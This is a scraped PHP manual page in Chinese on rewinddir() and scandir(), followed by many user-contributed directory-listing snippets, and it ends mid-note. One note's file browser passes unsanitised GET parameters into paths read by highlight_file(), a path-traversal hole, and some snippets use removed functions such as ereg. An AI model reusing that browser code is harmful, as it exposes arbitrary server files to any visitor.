$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE|PREG_FIND_SORTKEYS);

sorted in by filesize, in descending order?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTFILESIZE|PREG_FIND_SORTDESC);
$files=array_keys($files);

sorted by date modified?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTMODIFIED);
$files=array_keys($files);

Ok, the PHP note says my note is too long, so please click on one of the above links to get it.
phpwizard-at-pech-dot-cz 04-Jul-2002 01:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech


倒回目录句柄

  • ? readdir
  • scandir ?
  • PHP Manual
  • 目录函数函数
  • 倒回目录句柄

rewinddir

(PHP 4, PHP 5, PHP 7, PHP 8)

rewinddir — 倒回目录句柄

说明

rewinddir(?resource $dir_handle = null): void

将 dir_handle 指定的目录流重置到目录的开头。

参数

dir_handle

之前使用 opendir() 打开的目录句柄 resource。如果未指定目录句柄，则假设是 opendir() 打开的最后一个链接。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 现在 dir_handle 允许为 null。

User Contributed Notes

ASchmidt at Anamera dot net 11-Jun-2018 07:59
It is crucial to note that rewinddir() does not simply start over at the beginning of the SAME directory list. Instead, this function first re-reads the directory - thus any file that were deleted (or inserted) since the original opendir() will be reflected after "rewinding".

In that respect, rewinddir() is equivalent to a closedir(), opendir() sequence, but without obtaining a new handle.
osamahussain897 at gmail dot com 27-Jan-2018 09:08
/* Source Code */

<?php
$dir = "/images/";

// Open a directory, and read its contents
if (is_dir($dir)){
  if ($dh = opendir($dir)){
    // List files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    rewinddir();
    // List once again files in images directory
    while (($file = readdir($dh)) !== false){
      echo "filename:" . $file . "<br>";
    }
    closedir($dh);
  }
}
?>

/* Result */

filename: cat.gif
filename: dog.gif
filename: horse.gif
filename: cat.gif
filename: dog.gif
filename: horse.gif


列出指定路径中的文件和目录

  • ? rewinddir
  • Fileinfo ?
  • PHP Manual
  • 目录函数函数
  • 列出指定路径中的文件和目录

scandir

(PHP 5, PHP 7, PHP 8)

scandir — 列出指定路径中的文件和目录

说明

scandir(string $directory, int $sorting_order = SCANDIR_SORT_ASCENDING, ?resource $context = null): array|false

返回 array，包含有 directory 中的文件和目录。

参数

directory

要被浏览的目录

sorting_order

默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order（设为 1），则排序顺序是按字母降序排列。

context

context 参数的说明见手册中的 Streams API 一章。

返回值

成功则返回包含有文件名的 array，如果失败则返回 false。如果 directory 不是个目录，则返回布尔值 false 并生成一条 E_WARNING 级的错误。

更新日志

版本 | 说明
8.0.0 | 现在 context 允许为 null。

示例

Example #1 简单的 scandir() 示例

<?php
$dir = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, SCANDIR_SORT_DESCENDING);

print_r($files1);
print_r($files2);
?>

以上示例的输出类似于：

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

注释

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参见

  • opendir() - 打开目录句柄
  • readdir() - 从目录句柄中读取条目
  • glob() - 寻找与模式匹配的文件路径
  • is_dir() - 判断给定文件名是否是一个目录
  • sort() - 对数组升序排序

User Contributed Notes

arthur dot am dot app at gmail dot com 03-Mar-2023 01:53
$path_abs = __DIR__ .'/test/';

if( DIRECTORY_SEPARATOR != substr($path, -1) || (DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR) == substr($path, -2))
{
    throw new Error("A non-standard path is specified. `{$path}`");
}

$scandir_result = scandir( $path, SCANDIR_SORT_DESCENDING );

for( $n = 0, $e = count($scandir_result) - 2; $n < $e; $n++ )
{
    echo ($path  .  $scandir_result[$n])  .'<br/>';
}
coolbikram0 at gmail dot com 04-Dec-2021 05:53
A simple recursive function to list all files and subdirectories in a directory:
<?php
function listAllFiles($dir) {
  $array = array_diff(scandir($dir), array('.', '..'));

  foreach ($array as &$item) {
    $item = $dir . $item;
  }
  unset($item);
  foreach ($array as $item) {
    if (is_dir($item)) {
     $array = array_merge($array, listAllFiles($item . DIRECTORY_SEPARATOR));
    }
  }
  return $array;
}
?>
djacobson at usa dot rugby 03-Feb-2020 09:39
<?php
/**
  * Get rid of the dots, the occasional `.DS_Store` file and reindex the
  * resulting array all at once.
  *
  * @param string $path_to_directory The relative path to your target directory.
  *
  * @return array The reindexed array of files.
  */
function get_the_files( $path_to_directory ) {
    return array_slice( array_diff( scandir( $path_to_directory ), array( '..', '.', '.DS_Store' ) ), 0 );
}
?>
webmaster at gmail dot com 27-Oct-2019 08:17
easy way to list every item in a directory

<?php
$itemnum = 1;
$dir = 'C:/Path/To/Directory';
foreach(scandir($dir) as $item){
    if (!($item == '.')) {
        if (!($item == '..')) {
              echo($itemnum." = ".$item."<br>");
             $itemnum = ($itemnum + 1);
}}}
?>
Nerbert 29-Jul-2019 12:58
If you use array_diff() to eliminate "." and ".." you must use array_values() on the result because array_diff() will return an associative array, which may cause problems for a for loop beginning at 0.

$files = array_values(array_diff(scandir($directory), array('..', '.')));
artmanniako at gmail dot com 02-Mar-2019 11:28
How i solved problem with '.' and '..'

$x = scandir__DIR__; //any directory
foreach ($x as $key => $value) {
        if ('.' !== $value && '..' !== $value){
               echo $value;
   }
}
Simple and working
admin at kmoz000 dot free 21-Aug-2018 01:49
function ScaniDir($path){
  $ptd= opendir($path);
  while (( $ptdf=readdir($ptd))){
      $srca = $path.'/'.$ptdf;
     if (is_file($srca) and pathinfo($srca, PATHINFO_EXTENSION)=='pdf') {$files['src'][]=$srca;$files['name'][]=explode('.',$ptdf)[0];}

    }
return $files ;

 }
info at remark dot no 25-Feb-2018 07:08
Someone wrote that array_slice could be used to quickly remove directory entries "." and "..". However, "-" is a valid entry that would come before those, so array_slice would remove the wrong entries.
SPekary 03-Jun-2017 06:30
Unless you specify no sorting, file names are sorted in ASCII alphabetic order, meaning numbers first, then uppercase, then lowercase letters, even on operating systems whose file system ignores the case of file names when it does its own sorting.

For example, on Mac OS, the following files will appear in this order in the Finder, when your disk is formated using the standard file system:
1file.php
a.inc
B.txt
c.txt

However, scandir will produce an array in the following order:
1file.php
B.txt
a.inc
c.txt
simon dot riget at gmail dot com 02-Jun-2016 07:28
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
telefoontoestel59 at hotmail dot com 01-Jul-2015 02:12
I was looking for an easy way to get only files from a certain directory. I came up with the following line of code that will result in an array listing only files. the samen can be done for directories ofcourse.

<?php
$files = array_filter(scandir($directory), function($file) { return is_file($file); })
?>
Tom 24-Jan-2015 04:01
Just was curious to count files and lines in a project

<?php

  function DirLineCounter( $dir , $result = array('lines_html' => false, 'files_count' => false, 'lines_count' => false ), $complete_table = true )
  {

      $file_read = array( 'php', 'html', 'js', 'css' );
      $dir_ignore = array();

      $scan_result = scandir( $dir );

      foreach ( $scan_result as $key => $value ) {

          if ( !in_array( $value, array( '.', '..' ) ) ) {

              if ( is_dir( $dir . DIRECTORY_SEPARATOR . $value ) ) {

                  if ( in_array( $value, $dir_ignore ) ) {
                    continue;
                  }

                  $result = DirLineCounter( $dir . DIRECTORY_SEPARATOR . $value, $result, false );

              }
              else {

              $type = explode( '.', $value );
              $type = array_reverse( $type );
              if( !in_array( $type[0], $file_read ) ) {
                continue;
              }

              $lines = 0;
              $handle = fopen( $dir . DIRECTORY_SEPARATOR . $value, 'r' );

              while ( !feof( $handle ) ) {

                  if ( is_bool( $handle ) ) {
                      break;
                  }

                  $line = fgets( $handle );
                  $lines++;
              }

              fclose( $handle );

              $result['lines_html'][] = '<tr><td>' . $dir . '</td><td>' . $value . '</td><td>' . $lines . '</td></tr>';
              $result['lines_count'] = $result['lines_count'] + $lines;
              $result['files_count'] = $result['files_count'] + 1;

              }
          }
      }

      if ( $complete_table ) {

        $lines_html = implode('', $result['lines_html']) . '<tr><td></td><td style="border: 1px solid #222">Files Total: ' . $result['files_count'] . '</td><td style="border: 1px solid #222">Lines Total: ' . $result['lines_count'] . '</td></tr>';
        return '<table><tr><td style="width: 60%; background-color:#ddd;">Dir</td><td style="width: 30%; background-color:#ddd;">File</td><td style="width: 10%; background-color:#ddd;">Lines</td></tr>' . $lines_html . '</table>';

      }
      else {
        return $result;
      }

  }

  echo DirLineCounter( '.' );

?>
eep2004 at ukr dot net 07-Oct-2014 09:28
Fastest way to get a list of files without dots.
<?php
$files = array_slice(scandir('/path/to/directory/'), 2);
gambit_642 AT hotmailDOTcom 22-Jan-2014 02:04
Needed something that could return the contents of single or multiple directories, recursively or non-recursively,
for all files or specified file extensions that would be
accessible easily from any scope or script.

And I wanted to allow overloading cause sometimes I'm too lazy to pass all params.
<?php
class scanDir {
    static private $directories, $files, $ext_filter, $recursive;

// ----------------------------------------------------------------------------------------------
    // scan(dirpath::string|array, extensions::string|array, recursive::true|false)
    static public function scan(){
        // Initialize defaults
        self::$recursive = false;
        self::$directories = array();
        self::$files = array();
        self::$ext_filter = false;

        // Check we have minimum parameters
        if(!$args = func_get_args()){
            die("Must provide a path string or array of path strings");
        }
        if(gettype($args[0]) != "string" && gettype($args[0]) != "array"){
            die("Must provide a path string or array of path strings");
        }

        // Check if recursive scan | default action: no sub-directories
        if(isset($args[2]) && $args[2] == true){self::$recursive = true;}

        // Was a filter on file extensions included? | default action: return all file types
        if(isset($args[1])){
            if(gettype($args[1]) == "array"){self::$ext_filter = array_map('strtolower', $args[1]);}
            else
            if(gettype($args[1]) == "string"){self::$ext_filter[] = strtolower($args[1]);}
        }

        // Grab path(s)
        self::verifyPaths($args[0]);
        return self::$files;
    }

    static private function verifyPaths($paths){
        $path_errors = array();
        if(gettype($paths) == "string"){$paths = array($paths);}

        foreach($paths as $path){
            if(is_dir($path)){
                self::$directories[] = $path;
                $dirContents = self::find_contents($path);
            } else {
                $path_errors[] = $path;
            }
        }

        if($path_errors){echo "The following directories do not exists<br />";die(var_dump($path_errors));}
    }

    // This is how we scan directories
    static private function find_contents($dir){
        $result = array();
        $root = scandir($dir);
        foreach($root as $value){
            if($value === '.' || $value === '..') {continue;}
            if(is_file($dir.DIRECTORY_SEPARATOR.$value)){
                if(!self::$ext_filter || in_array(strtolower(pathinfo($dir.DIRECTORY_SEPARATOR.$value, PATHINFO_EXTENSION)), self::$ext_filter)){
                    self::$files[] = $result[] = $dir.DIRECTORY_SEPARATOR.$value;
                }
                continue;
            }
            if(self::$recursive){
                foreach(self::find_contents($dir.DIRECTORY_SEPARATOR.$value) as $value) {
                    self::$files[] = $result[] = $value;
                }
            }
        }
        // Return required for recursive search
        return $result;
    }
}
?>

Usage:
scanDir::scan(path(s):string|array, [file_extensions:string|array], [subfolders?:true|false]);
<?php
//Scan a single directory for all files, no sub-directories
$files = scanDir::scan('D:\Websites\temp');

//Scan multiple directories for all files, no sub-dirs
$dirs = array(
    'D:\folder';
    'D:\folder2';
    'C:\Other';
);
$files = scanDir::scan($dirs);

// Scan multiple directories for files with provided file extension,
// no sub-dirs
$files = scanDir::scan($dirs, "jpg");
//or with an array of extensions
$file_ext = array(
    "jpg",
    "bmp",
    "png"
);
$files = scanDir::scan($dirs, $file_ext);

// Scan multiple directories for files with any extension,
// include files in recursive sub-folders
$files = scanDir::scan($dirs, false, true);

// Multiple dirs, with specified extensions, include sub-dir files
$files = scanDir::scan($dirs, $file_ext, true);
?>
Patrick 12-Jan-2014 09:10
Here is my recursive function, placing directories into new array keys and its contents within.

/* find_files( string, &array )
** Recursive function to return a multidimensional array of folders and files
** that are contained within the directory given
*/
function find_files($dir, &$dir_array)
{
    // Create array of current directory
    $files = scandir($dir);

    if(is_array($files))
    {
        foreach($files as $val)
        {
            // Skip home and previous listings
            if($val == '.' || $val == '..')
                continue;

            // If directory then dive deeper, else add file to directory key
            if(is_dir($dir.'/'.$val))
            {
                // Add value to current array, dir or file
                $dir_array[$dir][] = $val;

                find_files($dir.'/'.$val, $dir_array);
            }
            else
            {
                $dir_array[$dir][] = $val;
            }
        }
    }
    ksort($dir_array);
}

// Example
$folder_list = array();
find_files('/path', $folder_list)

var_dump($folder_list);

array(3) {
  ["directory_01"]=>
  array(4) {
    [0]=>
    string(12) "directory_02"
    [1]=>
    string(12) "directory_03"
    [2]=>
    string(11) "file_01.txt"
    [3]=>
    string(11) "file_02.txt"
  }
  ["directory_01/directory_02"]=>
  array(2) {
    [0]=>
    string(11) "file_03.txt"
    [1]=>
    string(11) "file_04.txt"
  }
  ["directory_01/directory_03"]=>
  array(2) {
    [0]=>
    string(11) "file_05.txt"
    [1]=>
    string(11) "file_06.txt"
  }
}
hex at mail dot nnov dot ru 07-Sep-2013 07:38
// Extreme minimal version recursive scan:
function rscandir($dir){
  $dirs = array_fill_keys( array_diff( scandir( $dir ), array( '.', '..' ) ), array());
  foreach( $dirs as $d => $v )
    if( is_dir($dir."/".$d) )
      $dirs[$d] = rscandir($dir."/".$d);
  return $dirs;
}
mmda dot nl at gmail dot com 08-Nov-2012 12:43
Here is my 2 cents. I wanted to create an array of my directory structure recursively. I wanted to easely access data in a certain directory using foreach. I came up with the following:

<?php
function dirToArray($dir) {

   $result = array();

   $cdir = scandir($dir);
   foreach ($cdir as $key => $value)
   {
      if (!in_array($value,array(".","..")))
      {
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
         {
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }
         else
         {
            $result[] = $value;
         }
      }
   }

   return $result;
}
?>

Output
Array
(
   [subdir1] => Array
   (
      [0] => file1.txt
      [subsubdir] => Array
      (
         [0] => file2.txt
         [1] => file3.txt
      )
   )
   [subdir2] => Array
   (
    [0] => file4.txt
   }
)
carneiro at isharelife dot com dot br 22-Jun-2012 06:47
<?php
/**
     * Get an array that represents directory tree
     * @param string $directory     Directory path
     * @param bool $recursive         Include sub directories
     * @param bool $listDirs         Include directories on listing
     * @param bool $listFiles         Include files on listing
     * @param regex $exclude         Exclude paths that matches this regex
     */
    function directoryToArray($directory, $recursive = true, $listDirs = false, $listFiles = true, $exclude = '') {
        $arrayItems = array();
        $skipByExclude = false;
        $handle = opendir($directory);
        if ($handle) {
            while (false !== ($file = readdir($handle))) {
            preg_match("/(^(([\.]){1,2})$|(\.(svn|git|md))|(Thumbs\.db|\.DS_STORE))$/iu", $file, $skip);
            if($exclude){
                preg_match($exclude, $file, $skipByExclude);
            }
            if (!$skip && !$skipByExclude) {
                if (is_dir($directory. DIRECTORY_SEPARATOR . $file)) {
                    if($recursive) {
                        $arrayItems = array_merge($arrayItems, directoryToArray($directory. DIRECTORY_SEPARATOR . $file, $recursive, $listDirs, $listFiles, $exclude));
                    }
                    if($listDirs){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                } else {
                    if($listFiles){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                }
            }
        }
        closedir($handle);
        }
        return $arrayItems;
    }
?>
2bbasic at gmail dot com 21-Jun-2012 11:35
<?php
//-- Directory Navigation with SCANDIR
//--
//-- optional placemenet
$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"];
}
else {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/";
}
//-- until here
function dir_nav() {
  global $exclude_list, $dir_path;
  $directories = array_diff(scandir($dir_path), $exclude_list);
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_dir($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[`] <a href='?dir=".$_GET["dir"].$entry."/"."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
  //-- separator
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_file($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[ ] <a href='?file=".$_GET["dir"].$entry."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
  echo "<div style='margin:1em;border:1px solid Silver;'>";
  highlight_file($dir_path.$_GET['file']);
  echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
?>
fazle dot elahee at gmail dot com 09-Apr-2012 06:52
/**
 * This function will scan all files recursively in the sub-folder and folder.
 *
 * @author Fazle Elahee
 *
 */

function scanFileNameRecursivly($path = '', &$name = array() )
{
  $path = $path == ''? dirname(__FILE__) : $path;
  $lists = @scandir($path);

  if(!empty($lists))
  {
      foreach($lists as $f)
      {

      if(is_dir($path.DIRECTORY_SEPARATOR.$f) && $f != ".." && $f != ".")
      {
          scanFileNameRecursivly($path.DIRECTORY_SEPARATOR.$f, &$name);
      }
      else
      {
          $name[] = $path.DIRECTORY_SEPARATOR.$f;
      }
      }
  }
  return $name;
}

$path = "/var/www/SimplejQueryDropdowns";
$file_names = scanFileNameRecursivly($path);

echo "<pre>";
var_dump($file_names);
echo "</pre>";
dwieeb at gmail dot com 22-Jan-2012 08:06
Easy way to get rid of the dots that scandir() picks up in Linux environments:

<?php
$directory = '/path/to/my/directory';
$scanned_directory = array_diff(scandir($directory), array('..', '.'));
?>
kodlee at kodleeshare dot net 08-Jan-2012 03:51
I needed to find a way to get the full path of all files in the directory and all subdirectories of a directory.
Here's my solution: Recursive functions!

<?php
function find_all_files($dir)
{
    $root = scandir($dir);
    foreach($root as $value)
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}
?>
boen dot robot at gmail dot com 20-Feb-2010 10:10
If you have a folder with many files and/or subfolders, doing a recursive scandir will likely either slow down your application, or cause a high rise in RAM consumption due to the large size of the generated array.

To help with this, as well as to make processing of files in a folder easier, I wrote a function that reads a folder and its subfolders recursively, and calls a function upon each match.

<?php
/**
 * Calls a function for every file in a folder.
 *
 * @author Vasil Rangelov a.k.a. boen_robot
 *
 * @param string $callback The function to call. It must accept one argument that is a relative filepath of the file.
 * @param string $dir The directory to traverse.
 * @param array $types The file types to call the function for. Leave as NULL to match all types.
 * @param bool $recursive Whether to list subfolders as well.
 * @param string $baseDir String to append at the beginning of every filepath that the callback will receive.
 */
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
?>

Of course, because it is recursive, a folder with many levels of folders could potentially consume lots of memory, but then again, so can every other recursive scandir implementation here.

BTW, there's also the RecursiveDirectoryIterator SPL class:
http://bg.php.net/manual/en/class.recursivedirectoryiterator.php
which, even if using the same approach, will most likely be faster and hold down deeper levels (because it works on the C level), but this one will always work, regardless of settings... even on PHP4.

Point is, avoid recursive scandir implementations.
moik78 at gmail dot com 28-Jan-2010 05:43
This is a function to count the number of files of a directory

<?php
function countFiles($dir){
    $files = array();
    $directory = opendir($dir);
    while($item = readdir($directory)){
    // We filter the elements that we don't want to appear ".", ".." and ".svn"
         if(($item != ".") && ($item != "..") && ($item != ".svn") ){
              $files[] = $item;
         }
    }
    $numFiles = count($files);
    return $numFiles;
}
?>
phpnet at novaclic dot com 11-Jan-2010 02:36
Was looking for a simple way to search for a file/directory using a mask. Here is such a function.

By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory.

Requires at least PHP5.

<?php
function sdir( $path='.', $mask='*', $nocache=0 ){
    static $dir = array(); // cache result in memory
    if ( !isset($dir[$path]) || $nocache) {
        $dir[$path] = scandir($path);
    }
    foreach ($dir[$path] as $i=>$entry) {
        if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) {
            $sdir[] = $entry;
        }
    }
    return ($sdir);
}
?>
magicmind at netcabo dot pt 09-Jun-2009 05:20
Hello all,

I just added a extension filter to the getDirectoryTree function, so it can filter an extension for files in the folders/subfolders:

<?php
function getDirectoryTree( $outerDir , $x){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d)  ){
            $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d , $x);
        }else{
         if (($x)?ereg($x.'$',$d):1)
            $dir_array[ $d ] = $d;
            }
    }
    return $dir_array;
}

$dirlist = getDirectoryTree('filmes','flv');
?>
phpdotnet at lavavortex dot com 01-May-2009 05:05
How a ninja may retrieve a list of files, files filtered by extension, or directories:

<?php
//NNNIIIinnnjaaa::
//array of files without directories... optionally filtered by extension
function file_list($d,$x){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_file($d.'/'.$f)&&(($x)?ereg($x.'$',$f):1))$l[]=$f;
       return $l;
}

//NNNIIIinnnjaaa::
//array of directories
function dir_list($d){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_dir($d.'/'.$f))$l[]=$f;
       return $l;
}

/********************************************************************\
                    PRETTY PRETTY LIGHTS (DOCUMENTATION)
\********************************************************************/

/********************************************************************
Overloaded PHP file listing function:
array file_list ( string $directory [, string $file_extension] )

$directory
  path without backslash, e.g. "/home/public_html/blarg"

$file_extention
  optionally filter specific filename extentions, e.g. ".jpg"

>>>>>>>>>>>>>>>>>>>>>>>>>>>>> TRANSLATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<
file_list("/home");          //return list of files (no directories)
file_list("/home", ".jpg");  //return only .jpg file list
\********************************************************************/

//(note: one slash (/) below and you enable all your test functions, guess where ;-))
/********************************************************************\
// TEST FUNCTIONS... IF THESE WORK, THIS FUNCTION WORKS ON THIS PLATFORM
echo "<hr><b>File List:</b><br>";
$n = file_list(getcwd());
if($n) foreach($n as $f) echo "$f<br>";             //current files

echo "<hr><b>Files with extension .php:</b><br>";
$n = file_list(getcwd(),".php");
if($n) foreach($n as $f) echo "$f<br>";             //files with .php extensions

echo "<hr><b>Directories:</b><br>";
$d = dir_list(getcwd());
if($d) foreach($d as $f) echo "$f<br>";             //directories
/********************************************************************/

/************\
RUNTIME NOTES:
file_list($arg1); // php issues a warning that there is no second parameter, but we know that, izz ok
\************/

/*******************************\
TESTED AND WORKING ON 2009.04.30:
OS:     Linux 2.6.9-78.0.17.ELsmp
APACHE: 2.2.9
PHP:    5.2.5
\*******************************/
?>
dsiembab at fullchannel dot net 08-Dec-2008 11:29
Back in the saddle of scandir I wrote this function for a function that I needed to seperate directories from files. Since I am still learning from my last example way below I would figure I would add it so it can be criticized.
<?php
function dirlist($dir, $bool = "dirs"){
   $truedir = $dir;
   $dir = scandir($dir);
   if($bool == "files"){ // dynamic function based on second pram
      $direct = 'is_dir';
   }elseif($bool == "dirs"){
      $direct = 'is_file';
   }
   foreach($dir as $k => $v){
      if(($direct($truedir.$dir[$k])) || $dir[$k] == '.' || $dir[$k] == '..' ){
         unset($dir[$k]);
      }
   }
   $dir = array_values($dir);
   return $dir;
}
?>
<?php
print_r(dirlist("../"));  //confirm array of subdirectories

print_r(dirlist("../", "files") // confirm list on files in the directory
?>
asamir at asamir dot net 05-Mar-2008 04:21
This is a modification of scanDirectories function that generates a list of all files in the chosen directory and all subdirectories of specific extentions $allowext

<?php
function scanDirectories($rootDir, $allowext, $allData=array()) {
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        $path = $rootDir.'/'.$content;
        $ext = substr($content, strrpos($content, '.') + 1);

        if(in_array($ext, $allowext)) {
            if(is_file($path) && is_readable($path)) {
                $allData[] = $path;
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}

$rootDir = "www";
$allowext = array("zip","rar","html");
$files_array = scanDirectories($rootDir,$allowext);
print_r($files_array);
?>
fatpratmatt dot at dot gmail dot com 27-Dec-2007 04:28
This function generates a list of all files in the chosen directory and all subdirectories, throws them into a NON-multidimentional array and returns them.

Most of the recursive functions on this page only return a multi-dimensional array.

This is actually a modification of some one else's function (thanks mail at bartrail dot de ;])

<?php
function scanDirectories($rootDir, $allData=array()) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                // save file name with path
                $allData[] = $path;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}
?>

Example output:

print_r(scanDirectories("www"));
---
Array
(
    [0] => www/index.php
    [1] => www/admin.php
    [3] => www/css/css.css
    [4] => www/articles/2007/article1.txt
    [4] => www/articles/2006/article1.txt
    [8] => www/img/img1.png
)
cHH 05-Nov-2007 09:46
Since scandir() returns and array, here is a more concise method of dealing with the '.' and '..' problem when listing directories:

<?php
$target = '/';
$weeds = array('.', '..');
$directories = array_diff(scandir($target), $weeds);

foreach($directories as $value)
{
   if(is_dir($target.$value))
   {
      echo $value.'<br />';
   }
}
?>
beingmrkenny at gmail dot com 13-Aug-2006 11:41
I wrote this function to read a folder and place all the folders and sub folders it contains into an array.

<?php

// Initialise empty array, otherwise an error occurs
$folders = array();

function recursive_subfolders($folders) {

    // Set path here
    $path = '/path/to/folder';

    // Create initial "Folders" array
    if ($dir = opendir($path)) {
        $j = 0;
        while (($file = readdir($dir)) !== false) {
            if ($file != '.' && $file != '..' && is_dir($path.$file)) {
                $j++;
                $folders[$j] = $path . $file;
            }
        }
    }

    closedir($dir);

    // Then check each folder in that array for subfolders and add the subfolders to the "Folders" array.
    $j = count($folders);
    foreach ($folders as $folder) {
        if ($dir = opendir($folder)) {
            while (($file = readdir($dir)) !== false) {
                $pathto = $folder. '/' . $file;
                if ($file != '.' && $file != '..' && is_dir($pathto) && !in_array($pathto, $folders)) {
                    $j++;
                    $folders[$j] = $pathto;
                    $folders = recursive_subfolders($folders);
                }
            }
        }
        closedir($dir);
    }

    sort($folders);
    return $folders;
}

$folders = recursive_subfolders($folders);

?>

$folders now contains an array with the full paths to each subfolder. E.g.:

Array
(
    [0] => /path/to/folder/dir1
    [1] => /path/to/folder/dir1/subdir
    [2] => /path/to/folder/dir1/subdir/subsubdir
    [3] => /path/to/dolfer/dir2
)

This function has only been tested on Linux.
progrium+php at gmail dot com 30-Jun-2005 04:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
    $pathStack = array($rootPath);
    $contentsRoot = array();
    $contents = &$contentsRoot;
    while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
    }
    return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
    [index.php] => /usr/local/www/index.php
    [js] => Array
        (
            [async.js] => /usr/local/www/js/async.js
            [dom.js] => /usr/local/www/js/dom.js
            [effects.js] => /usr/local/www/js/effects.js
            [prototype.js] => /usr/local/www/js/prototype.js
        )

    [logo.png] => /usr/local/www/logo.png
    [server.php] => /usr/local/www/server.php
    [test.js] => /usr/local/www/test.js
)
Pawel Dlugosz 11-May-2005 11:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
    [0] => -.jpg
    [1] => .
    [2] => ..
    [3] => foo.txt
    [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de 12-Apr-2005 12:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
